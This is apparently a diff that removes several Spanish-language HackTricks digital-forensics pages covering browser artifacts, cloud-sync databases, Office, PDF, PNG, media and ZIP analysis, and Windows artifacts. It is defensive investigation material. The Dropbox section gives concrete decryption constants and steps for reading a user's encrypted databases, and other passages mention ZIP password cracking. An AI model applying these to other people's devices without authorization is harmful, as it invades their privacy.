Los metadatos para Internet Explorer se almacenan en `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (siendo VX V01, V16 o V24). Acompañando esto, el archivo `V01.log` puede mostrar discrepancias en el tiempo de modificación con `WebcacheVX.data`, indicando la necesidad de reparación utilizando `esentutl /r V01 /d`. Estos metadatos, alojados en una base de datos ESE, pueden ser recuperados e inspeccionados utilizando herramientas como photorec y [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), respectivamente. Dentro de la tabla **Containers**, se puede discernir las tablas o contenedores específicos donde se almacena cada segmento de datos, incluidos los detalles de caché para otras herramientas de Microsoft como Skype.
### Inspección de Caché
La herramienta [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) permite la inspección de caché, requiriendo la ubicación de la carpeta de extracción de datos de caché. Los metadatos de caché incluyen nombre de archivo, directorio, conteo de accesos, origen de URL y marcas de tiempo que indican la creación, acceso, modificación y tiempos de expiración de la caché.
### Gestión de Cookies
Las cookies se pueden explorar utilizando [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), con metadatos que abarcan nombres, URLs, conteos de acceso y varios detalles relacionados con el tiempo. Las cookies persistentes se almacenan en `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, mientras que las cookies de sesión residen en memoria.
### Detalles de Descargas
Los metadatos de descargas son accesibles a través de [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), con contenedores específicos que contienen datos como URL, tipo de archivo y ubicación de descarga. Los archivos físicos se pueden encontrar en `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`.
### Historial de Navegación
Para revisar el historial de navegación, se puede usar [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html), requiriendo la ubicación de los archivos de historial extraídos y la configuración para Internet Explorer. Los metadatos aquí incluyen tiempos de modificación y acceso, junto con conteos de acceso. Los archivos de historial se encuentran en `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
### URLs Escritas
Las URLs escritas y sus tiempos de uso se almacenan en el registro bajo `NTUSER.DAT` en `Software\Microsoft\InternetExplorer\TypedURLs` y `Software\Microsoft\InternetExplorer\TypedURLsTime`, rastreando las últimas 50 URLs ingresadas por el usuario y sus últimos tiempos de entrada.
## Microsoft Edge
Microsoft Edge almacena datos de usuario en `%userprofile%\Appdata\Local\Packages`. Las rutas para varios tipos de datos son:
- **Profile Path**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
- **History, Cookies, and Downloads**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
- **Settings, Bookmarks, and Reading List**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb`
- **Cache**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache`
- **Last Active Sessions**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active`
## Safari
Los datos de Safari se almacenan en `/Users/$User/Library/Safari`. Los archivos clave incluyen:
- **History.db**: Contiene tablas `history_visits` y `history_items` con URLs y marcas de tiempo de visitas. Use `sqlite3` para consultar.
- **Downloads.plist**: Información sobre archivos descargados.
- **Bookmarks.plist**: Almacena URLs marcadas.
- **TopSites.plist**: Sitios más visitados.
- **Extensions.plist**: Lista de extensiones del navegador Safari. Use `plutil` o `pluginkit` para recuperar.
- **UserNotificationPermissions.plist**: Dominios permitidos para enviar notificaciones. Use `plutil` para analizar.
- **LastSession.plist**: Pestañas de la última sesión. Use `plutil` para analizar.
- **Browser’s built-in anti-phishing**: Verifique usando `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Una respuesta de 1 indica que la función está activa.
## Opera
Los datos de Opera residen en `/Users/$USER/Library/Application Support/com.operasoftware.Opera` y comparte el formato de Chrome para el historial y las descargas.
- **Browser’s built-in anti-phishing**: Verifique comprobando si `fraud_protection_enabled` en el archivo de Preferencias está configurado como `true` usando `grep`.
Estas rutas y comandos son cruciales para acceder y comprender los datos de navegación almacenados por diferentes navegadores web.
## Referencias
- [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a)
- [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/)
- [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ&pg=PA128&lpg=PA128&dq=%22This+file)
- **Book: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123**
{{#include ../../../banners/hacktricks-training.md}}

42
src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md
View File

@ -1,42 +0,0 @@
{{#include ../../../banners/hacktricks-training.md}}
Algunas cosas que podrían ser útiles para depurar/desofuscar un archivo VBS malicioso:
## echo
```bash
Wscript.Echo "Like this?"
```
## Comentarios
```bash
' this is a comment
```
## Prueba
```bash
cscript.exe file.vbs
```
## Escribir datos en un archivo
```js
Function writeBinary(strBinary, strPath)
Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject")
' below lines purpose: checks that write access is possible!
Dim oTxtStream
On Error Resume Next
Set oTxtStream = oFSO.createTextFile(strPath)
If Err.number <> 0 Then MsgBox(Err.message) : Exit Function
On Error GoTo 0
Set oTxtStream = Nothing
' end check of write access
With oFSO.createTextFile(strPath)
.Write(strBinary)
.Close
End With
End Function
```
{{#include ../../../banners/hacktricks-training.md}}

97
src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md
View File

@ -1,97 +0,0 @@
# Almacenamiento en la Nube Local
{{#include ../../../banners/hacktricks-training.md}}
## OneDrive
En Windows, puedes encontrar la carpeta de OneDrive en `\Users\<username>\AppData\Local\Microsoft\OneDrive`. Y dentro de `logs\Personal` es posible encontrar el archivo `SyncDiagnostics.log` que contiene algunos datos interesantes sobre los archivos sincronizados:
- Tamaño en bytes
- Fecha de creación
- Fecha de modificación
- Número de archivos en la nube
- Número de archivos en la carpeta
- **CID**: ID único del usuario de OneDrive
- Hora de generación del informe
- Tamaño del HD del sistema operativo
Una vez que hayas encontrado el CID, se recomienda **buscar archivos que contengan este ID**. Es posible que encuentres archivos con el nombre: _**\<CID>.ini**_ y _**\<CID>.dat**_ que pueden contener información interesante como los nombres de los archivos sincronizados con OneDrive.
## Google Drive
En Windows, puedes encontrar la carpeta principal de Google Drive en `\Users\<username>\AppData\Local\Google\Drive\user_default`\
Esta carpeta contiene un archivo llamado Sync_log.log con información como la dirección de correo electrónico de la cuenta, nombres de archivos, marcas de tiempo, hashes MD5 de los archivos, etc. Incluso los archivos eliminados aparecen en ese archivo de registro con su correspondiente MD5.
El archivo **`Cloud_graph\Cloud_graph.db`** es una base de datos sqlite que contiene la tabla **`cloud_graph_entry`**. En esta tabla puedes encontrar el **nombre** de los **archivos sincronizados**, tiempo de modificación, tamaño y el checksum MD5 de los archivos.
Los datos de la tabla de la base de datos **`Sync_config.db`** contienen la dirección de correo electrónico de la cuenta, la ruta de las carpetas compartidas y la versión de Google Drive.
## Dropbox
Dropbox utiliza **bases de datos SQLite** para gestionar los archivos. En este\
Puedes encontrar las bases de datos en las carpetas:
- `\Users\<username>\AppData\Local\Dropbox`
- `\Users\<username>\AppData\Local\Dropbox\Instance1`
- `\Users\<username>\AppData\Roaming\Dropbox`
Y las bases de datos principales son:
- Sigstore.dbx
- Filecache.dbx
- Deleted.dbx
- Config.dbx
La extensión ".dbx" significa que las **bases de datos** están **encriptadas**. Dropbox utiliza **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](<https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN>))
Para entender mejor la encriptación que utiliza Dropbox, puedes leer [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html).
Sin embargo, la información principal es:
- **Entropía**: d114a55212655f74bd772e37e64aee9b
- **Sal**: 0D638C092E8B82FC452883F95F355B8E
- **Algoritmo**: PBKDF2
- **Iteraciones**: 1066
Aparte de esa información, para descifrar las bases de datos aún necesitas:
- La **clave DPAPI encriptada**: Puedes encontrarla en el registro dentro de `NTUSER.DAT\Software\Dropbox\ks\client` (exporta estos datos como binarios)
- Los **hives** de **`SYSTEM`** y **`SECURITY`**
- Las **claves maestras DPAPI**: Que se pueden encontrar en `\Users\<username>\AppData\Roaming\Microsoft\Protect`
- El **nombre de usuario** y **contraseña** del usuario de Windows
Luego puedes usar la herramienta [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi_data_decryptor.html)**:**
![](<../../../images/image (448).png>)
Si todo sale como se espera, la herramienta indicará la **clave primaria** que necesitas **usar para recuperar la original**. Para recuperar la original, simplemente usa esta [receta de cyber_chef](<https://gchq.github.io/CyberChef/index.html#recipe=Derive_PBKDF2_key(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D)>) poniendo la clave primaria como la "frase de paso" dentro de la receta.
El hex resultante es la clave final utilizada para encriptar las bases de datos que se puede descifrar con:
```bash
sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db
```
La base de datos **`config.dbx`** contiene:
- **Email**: El correo electrónico del usuario
- **usernamedisplayname**: El nombre del usuario
- **dropbox_path**: Ruta donde se encuentra la carpeta de Dropbox
- **Host_id: Hash** utilizado para autenticarse en la nube. Esto solo se puede revocar desde la web.
- **Root_ns**: Identificador del usuario
La base de datos **`filecache.db`** contiene información sobre todos los archivos y carpetas sincronizados con Dropbox. La tabla `File_journal` es la que tiene más información útil:
- **Server_path**: Ruta donde se encuentra el archivo dentro del servidor (esta ruta está precedida por el `host_id` del cliente).
- **local_sjid**: Versión del archivo
- **local_mtime**: Fecha de modificación
- **local_ctime**: Fecha de creación
Otras tablas dentro de esta base de datos contienen información más interesante:
- **block_cache**: hash de todos los archivos y carpetas de Dropbox
- **block_ref**: Relaciona el ID de hash de la tabla `block_cache` con el ID del archivo en la tabla `file_journal`
- **mount_table**: Carpetas compartidas de Dropbox
- **deleted_fields**: Archivos eliminados de Dropbox
- **date_added**
{{#include ../../../banners/hacktricks-training.md}}

18
src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md
View File

@ -1,18 +0,0 @@
# Análisis de archivos de Office
{{#include ../../../banners/hacktricks-training.md}}
Para más información, consulta [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Este es solo un resumen:
Microsoft ha creado muchos formatos de documentos de Office, siendo los dos tipos principales **formatos OLE** (como RTF, DOC, XLS, PPT) y **formatos Office Open XML (OOXML)** (como DOCX, XLSX, PPTX). Estos formatos pueden incluir macros, lo que los convierte en objetivos para phishing y malware. Los archivos OOXML están estructurados como contenedores zip, lo que permite la inspección a través de la descompresión, revelando la jerarquía de archivos y carpetas y el contenido de archivos XML.
Para explorar las estructuras de archivos OOXML, se proporciona el comando para descomprimir un documento y la estructura de salida. Se han documentado técnicas para ocultar datos en estos archivos, lo que indica una innovación continua en la ocultación de datos dentro de los desafíos CTF.
Para el análisis, **oletools** y **OfficeDissector** ofrecen conjuntos de herramientas completos para examinar tanto documentos OLE como OOXML. Estas herramientas ayudan a identificar y analizar macros incrustadas, que a menudo sirven como vectores para la entrega de malware, normalmente descargando y ejecutando cargas útiles maliciosas adicionales. El análisis de macros VBA se puede realizar sin Microsoft Office utilizando Libre Office, que permite la depuración con puntos de interrupción y variables de observación.
La instalación y el uso de **oletools** son sencillos, con comandos proporcionados para instalar a través de pip y extraer macros de documentos. La ejecución automática de macros se activa mediante funciones como `AutoOpen`, `AutoExec` o `Document_Open`.
```bash
sudo pip3 install -U oletools
olevba -c /path/to/document #Extract macros
```
{{#include ../../../banners/hacktricks-training.md}}

20
src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md
View File

@ -1,20 +0,0 @@
# Análisis de archivos PDF
{{#include ../../../banners/hacktricks-training.md}}
**Para más detalles, consulta:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/)
El formato PDF es conocido por su complejidad y su potencial para ocultar datos, lo que lo convierte en un punto focal para los desafíos de forense en CTF. Combina elementos de texto plano con objetos binarios, que pueden estar comprimidos o cifrados, y puede incluir scripts en lenguajes como JavaScript o Flash. Para entender la estructura de un PDF, se puede consultar el [material introductorio](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/) de Didier Stevens, o utilizar herramientas como un editor de texto o un editor específico de PDF como Origami.
Para una exploración o manipulación profunda de PDFs, están disponibles herramientas como [qpdf](https://github.com/qpdf/qpdf) y [Origami](https://github.com/mobmewireless/origami-pdf). Los datos ocultos dentro de los PDFs pueden estar ocultos en:
- Capas invisibles
- Formato de metadatos XMP de Adobe
- Generaciones incrementales
- Texto del mismo color que el fondo
- Texto detrás de imágenes o imágenes superpuestas
- Comentarios no mostrados
Para un análisis personalizado de PDF, se pueden utilizar bibliotecas de Python como [PeepDF](https://github.com/jesparza/peepdf) para crear scripts de análisis a medida. Además, el potencial del PDF para el almacenamiento de datos ocultos es tan vasto que recursos como la guía de la NSA sobre riesgos y contramedidas de PDF, aunque ya no se encuentra alojada en su ubicación original, aún ofrecen valiosos conocimientos. Una [copia de la guía](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) y una colección de [trucos del formato PDF](https://github.com/corkami/docs/blob/master/PDF/PDF.md) de Ange Albertini pueden proporcionar más lecturas sobre el tema.
{{#include ../../../banners/hacktricks-training.md}}

9
src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md
View File

@ -1,9 +0,0 @@
{{#include ../../../banners/hacktricks-training.md}}
**Los archivos PNG** son muy valorados en **los desafíos CTF** por su **compresión sin pérdida**, lo que los hace ideales para incrustar datos ocultos. Herramientas como **Wireshark** permiten el análisis de archivos PNG al descomponer sus datos dentro de paquetes de red, revelando información incrustada o anomalías.
Para verificar la integridad de los archivos PNG y reparar la corrupción, **pngcheck** es una herramienta crucial, que ofrece funcionalidad de línea de comandos para validar y diagnosticar archivos PNG ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)). Cuando los archivos están más allá de reparaciones simples, servicios en línea como [OfficeRecovery's PixRecovery](https://online.officerecovery.com/pixrecovery/) proporcionan una solución basada en la web para **reparar PNGs corruptos**, ayudando en la recuperación de datos cruciales para los participantes de CTF.
Estas estrategias subrayan la importancia de un enfoque integral en los CTF, utilizando una combinación de herramientas analíticas y técnicas de reparación para descubrir y recuperar datos ocultos o perdidos.
{{#include ../../../banners/hacktricks-training.md}}

17
src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md
View File

@ -1,17 +0,0 @@
{{#include ../../../banners/hacktricks-training.md}}
**La manipulación de archivos de audio y video** es un elemento básico en **los desafíos de forense de CTF**, aprovechando **la esteganografía** y el análisis de metadatos para ocultar o revelar mensajes secretos. Herramientas como **[mediainfo](https://mediaarea.net/en/MediaInfo)** y **`exiftool`** son esenciales para inspeccionar los metadatos de los archivos e identificar tipos de contenido.
Para los desafíos de audio, **[Audacity](http://www.audacityteam.org/)** se destaca como una herramienta principal para ver formas de onda y analizar espectrogramas, esenciales para descubrir texto codificado en audio. **[Sonic Visualiser](http://www.sonicvisualiser.org/)** es muy recomendable para un análisis detallado de espectrogramas. **Audacity** permite la manipulación de audio, como ralentizar o invertir pistas para detectar mensajes ocultos. **[Sox](http://sox.sourceforge.net/)**, una utilidad de línea de comandos, sobresale en la conversión y edición de archivos de audio.
La manipulación de **Bits Menos Significativos (LSB)** es una técnica común en la esteganografía de audio y video, explotando los fragmentos de tamaño fijo de los archivos multimedia para incrustar datos de manera discreta. **[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)** es útil para decodificar mensajes ocultos como **tonos DTMF** o **código Morse**.
Los desafíos de video a menudo implican formatos de contenedor que agrupan flujos de audio y video. **[FFmpeg](http://ffmpeg.org/)** es la herramienta de referencia para analizar y manipular estos formatos, capaz de desmultiplexar y reproducir contenido. Para desarrolladores, **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)** integra las capacidades de FFmpeg en Python para interacciones avanzadas y programables.
Esta variedad de herramientas subraya la versatilidad requerida en los desafíos de CTF, donde los participantes deben emplear un amplio espectro de técnicas de análisis y manipulación para descubrir datos ocultos dentro de archivos de audio y video.
## Referencias
- [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)
{{#include ../../../banners/hacktricks-training.md}}

21
src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md
View File

@ -1,21 +0,0 @@
# Trucos de ZIP
{{#include ../../../banners/hacktricks-training.md}}
**Herramientas de línea de comandos** para gestionar **archivos zip** son esenciales para diagnosticar, reparar y descifrar archivos zip. Aquí hay algunas utilidades clave:
- **`unzip`**: Revela por qué un archivo zip puede no descomprimirse.
- **`zipdetails -v`**: Ofrece un análisis detallado de los campos del formato de archivo zip.
- **`zipinfo`**: Lista el contenido de un archivo zip sin extraerlo.
- **`zip -F input.zip --out output.zip`** y **`zip -FF input.zip --out output.zip`**: Intenta reparar archivos zip corruptos.
- **[fcrackzip](https://github.com/hyc/fcrackzip)**: Una herramienta para el descifrado por fuerza bruta de contraseñas zip, efectiva para contraseñas de hasta aproximadamente 7 caracteres.
La [especificación del formato de archivo Zip](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) proporciona detalles completos sobre la estructura y los estándares de los archivos zip.
Es crucial notar que los archivos zip protegidos por contraseña **no encriptan los nombres de archivo ni los tamaños de archivo** dentro, un defecto de seguridad que no comparten los archivos RAR o 7z, que encriptan esta información. Además, los archivos zip encriptados con el método más antiguo ZipCrypto son vulnerables a un **ataque de texto plano** si hay una copia no encriptada de un archivo comprimido disponible. Este ataque aprovecha el contenido conocido para descifrar la contraseña del zip, una vulnerabilidad detallada en [el artículo de HackThis](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) y explicada más a fondo en [este artículo académico](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). Sin embargo, los archivos zip asegurados con encriptación **AES-256** son inmunes a este ataque de texto plano, lo que demuestra la importancia de elegir métodos de encriptación seguros para datos sensibles.
## Referencias
- [https://michael-myers.github.io/blog/categories/ctf/](https://michael-myers.github.io/blog/categories/ctf/)
{{#include ../../../banners/hacktricks-training.md}}

497
src/forensics/basic-forensic-methodology/windows-forensics/README.md
View File

@ -1,497 +0,0 @@
# Windows Artifacts
## Windows Artifacts
{{#include ../../../banners/hacktricks-training.md}}
## Generic Windows Artifacts
### Windows 10 Notifications
En la ruta `\Users\<username>\AppData\Local\Microsoft\Windows\Notifications` puedes encontrar la base de datos `appdb.dat` (antes de la actualización de aniversario de Windows) o `wpndatabase.db` (después de la actualización de aniversario de Windows).
Dentro de esta base de datos SQLite, puedes encontrar la tabla `Notification` con todas las notificaciones (en formato XML) que pueden contener datos interesantes.
### Timeline
Timeline es una característica de Windows que proporciona **historial cronológico** de páginas web visitadas, documentos editados y aplicaciones ejecutadas.
La base de datos se encuentra en la ruta `\Users\<username>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db`. Esta base de datos se puede abrir con una herramienta SQLite o con la herramienta [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **que genera 2 archivos que se pueden abrir con la herramienta** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md).
### ADS (Alternate Data Streams)
Los archivos descargados pueden contener el **ADS Zone.Identifier** que indica **cómo** fue **descargado** desde la intranet, internet, etc. Algunos programas (como navegadores) suelen poner incluso **más** **información** como la **URL** desde donde se descargó el archivo.
## **File Backups**
### Recycle Bin
En Vista/Win7/Win8/Win10 la **Papelera de reciclaje** se puede encontrar en la carpeta **`$Recycle.bin`** en la raíz de la unidad (`C:\$Recycle.bin`).\
Cuando se elimina un archivo en esta carpeta se crean 2 archivos específicos:
- `$I{id}`: Información del archivo (fecha de cuando fue eliminado)
- `$R{id}`: Contenido del archivo
![](<../../../images/image (486).png>)
Teniendo estos archivos puedes usar la herramienta [**Rifiuti**](https://github.com/abelcheung/rifiuti2) para obtener la dirección original de los archivos eliminados y la fecha en que fueron eliminados (usa `rifiuti-vista.exe` para Vista – Win10).
```
.\rifiuti-vista.exe C:\Users\student\Desktop\Recycle
```
![](<../../../images/image (495) (1) (1) (1).png>)
### Copias de Sombra de Volumen
La Copia de Sombra es una tecnología incluida en Microsoft Windows que puede crear **copias de seguridad** o instantáneas de archivos o volúmenes de computadora, incluso cuando están en uso.
Estas copias de seguridad generalmente se encuentran en `\System Volume Information` desde la raíz del sistema de archivos y el nombre está compuesto por **UIDs** que se muestran en la siguiente imagen:
![](<../../../images/image (520).png>)
Montando la imagen forense con **ArsenalImageMounter**, se puede usar la herramienta [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) para inspeccionar una copia de sombra e incluso **extraer los archivos** de las copias de seguridad de la copia de sombra.
![](<../../../images/image (521).png>)
La entrada del registro `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` contiene los archivos y claves **para no hacer copia de seguridad**:
![](<../../../images/image (522).png>)
El registro `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` también contiene información de configuración sobre las `Copias de Sombra de Volumen`.
### Archivos de Office AutoGuardados
Puedes encontrar los archivos de auto guardado de Office en: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\`
## Elementos de Shell
Un elemento de shell es un elemento que contiene información sobre cómo acceder a otro archivo.
### Documentos Recientes (LNK)
Windows **crea automáticamente** estos **accesos directos** cuando el usuario **abre, usa o crea un archivo** en:
- Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\`
- Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\`
Cuando se crea una carpeta, también se crea un enlace a la carpeta, a la carpeta padre y a la carpeta abuela.
Estos archivos de enlace creados automáticamente **contienen información sobre el origen** como si es un **archivo** **o** una **carpeta**, **tiempos MAC** de ese archivo, **información de volumen** de dónde está almacenado el archivo y **carpeta del archivo objetivo**. Esta información puede ser útil para recuperar esos archivos en caso de que hayan sido eliminados.
Además, la **fecha de creación del enlace** es la primera **vez** que se **usó** el archivo original y la **fecha** **modificada** del archivo de enlace es la **última** **vez** que se usó el archivo de origen.
Para inspeccionar estos archivos puedes usar [**LinkParser**](http://4discovery.com/our-tools/).
En esta herramienta encontrarás **2 conjuntos** de marcas de tiempo:
- **Primer Conjunto:**
1. FileModifiedDate
2. FileAccessDate
3. FileCreationDate
- **Segundo Conjunto:**
1. LinkModifiedDate
2. LinkAccessDate
3. LinkCreationDate.
El primer conjunto de marcas de tiempo hace referencia a las **marcas de tiempo del archivo en sí**. El segundo conjunto hace referencia a las **marcas de tiempo del archivo vinculado**.
Puedes obtener la misma información ejecutando la herramienta de línea de comandos de Windows: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd)
```
LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
```
En este caso, la información se va a guardar dentro de un archivo CSV.
### Jumplists
Estos son los archivos recientes que se indican por aplicación. Es la lista de **archivos recientes utilizados por una aplicación** a los que puedes acceder en cada aplicación. Pueden ser creados **automáticamente o ser personalizados**.
Los **jumplists** creados automáticamente se almacenan en `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. Los jumplists se nombran siguiendo el formato `{id}.autmaticDestinations-ms` donde el ID inicial es el ID de la aplicación.
Los jumplists personalizados se almacenan en `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` y son creados por la aplicación generalmente porque algo **importante** ha sucedido con el archivo (quizás marcado como favorito).
El **tiempo de creación** de cualquier jumplist indica **la primera vez que se accedió al archivo** y el **tiempo modificado la última vez**.
Puedes inspeccionar los jumplists usando [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md).
![](<../../../images/image (474).png>)
(_Nota que las marcas de tiempo proporcionadas por JumplistExplorer están relacionadas con el archivo jumplist en sí_)
### Shellbags
[**Sigue este enlace para aprender qué son los shellbags.**](interesting-windows-registry-keys.md#shellbags)
## Uso de USBs de Windows
Es posible identificar que se utilizó un dispositivo USB gracias a la creación de:
- Carpeta Reciente de Windows
- Carpeta Reciente de Microsoft Office
- Jumplists
Ten en cuenta que algunos archivos LNK en lugar de apuntar a la ruta original, apuntan a la carpeta WPDNSE:
![](<../../../images/image (476).png>)
Los archivos en la carpeta WPDNSE son una copia de los originales, por lo que no sobrevivirán a un reinicio del PC y el GUID se toma de un shellbag.
### Información del Registro
[Consulta esta página para aprender](interesting-windows-registry-keys.md#usb-information) qué claves del registro contienen información interesante sobre dispositivos USB conectados.
### setupapi
Consulta el archivo `C:\Windows\inf\setupapi.dev.log` para obtener las marcas de tiempo sobre cuándo se produjo la conexión USB (busca `Section start`).
![](<../../../images/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>)
### USB Detective
[**USBDetective**](https://usbdetective.com) se puede usar para obtener información sobre los dispositivos USB que han sido conectados a una imagen.
![](<../../../images/image (483).png>)
### Limpieza de Plug and Play
La tarea programada conocida como 'Limpieza de Plug and Play' está diseñada principalmente para la eliminación de versiones de controladores obsoletas. Contrario a su propósito especificado de retener la última versión del paquete de controladores, fuentes en línea sugieren que también apunta a controladores que han estado inactivos durante 30 días. En consecuencia, los controladores de dispositivos extraíbles no conectados en los últimos 30 días pueden estar sujetos a eliminación.
La tarea se encuentra en la siguiente ruta:
`C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`.
Se proporciona una captura de pantalla que muestra el contenido de la tarea:
![](https://2.bp.blogspot.com/-wqYubtuR_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png)
**Componentes Clave y Configuraciones de la Tarea:**
- **pnpclean.dll**: Este DLL es responsable del proceso de limpieza real.
- **UseUnifiedSchedulingEngine**: Configurado en `TRUE`, indicando el uso del motor de programación de tareas genérico.
- **MaintenanceSettings**:
- **Period ('P1M')**: Indica al Programador de Tareas que inicie la tarea de limpieza mensualmente durante el mantenimiento automático regular.
- **Deadline ('P2M')**: Instruye al Programador de Tareas, si la tarea falla durante dos meses consecutivos, a ejecutar la tarea durante el mantenimiento automático de emergencia.
Esta configuración asegura un mantenimiento y limpieza regular de los controladores, con disposiciones para reintentar la tarea en caso de fallos consecutivos.
**Para más información consulta:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)
## Correos Electrónicos
Los correos electrónicos contienen **2 partes interesantes: Los encabezados y el contenido** del correo. En los **encabezados** puedes encontrar información como:
- **Quién** envió los correos (dirección de correo, IP, servidores de correo que han redirigido el correo)
- **Cuándo** se envió el correo
Además, dentro de los encabezados `References` e `In-Reply-To` puedes encontrar el ID de los mensajes:
![](<../../../images/image (484).png>)
### Aplicación de Correo de Windows
Esta aplicación guarda correos en HTML o texto. Puedes encontrar los correos dentro de subcarpetas en `\Users\<username>\AppData\Local\Comms\Unistore\data\3\`. Los correos se guardan con la extensión `.dat`.
Los **metadatos** de los correos y los **contactos** se pueden encontrar dentro de la **base de datos EDB**: `\Users\<username>\AppData\Local\Comms\UnistoreDB\store.vol`
**Cambia la extensión** del archivo de `.vol` a `.edb` y puedes usar la herramienta [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) para abrirlo. Dentro de la tabla `Message` puedes ver los correos.
### Microsoft Outlook
Cuando se utilizan servidores de Exchange o clientes de Outlook, habrá algunos encabezados MAPI:
- `Mapi-Client-Submit-Time`: Hora del sistema cuando se envió el correo
- `Mapi-Conversation-Index`: Número de mensajes hijos del hilo y marca de tiempo de cada mensaje del hilo
- `Mapi-Entry-ID`: Identificador del mensaje.
- `Mappi-Message-Flags` y `Pr_last_Verb-Executed`: Información sobre el cliente MAPI (¿mensaje leído? ¿no leído? ¿respondido? ¿redirigido? ¿fuera de la oficina?)
En el cliente de Microsoft Outlook, todos los mensajes enviados/recibidos, datos de contactos y datos de calendario se almacenan en un archivo PST en:
- `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` (WinXP)
- `%USERPROFILE%\AppData\Local\Microsoft\Outlook`
La ruta del registro `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` indica el archivo que se está utilizando.
Puedes abrir el archivo PST usando la herramienta [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html).
![](<../../../images/image (485).png>)
### Archivos OST de Microsoft Outlook
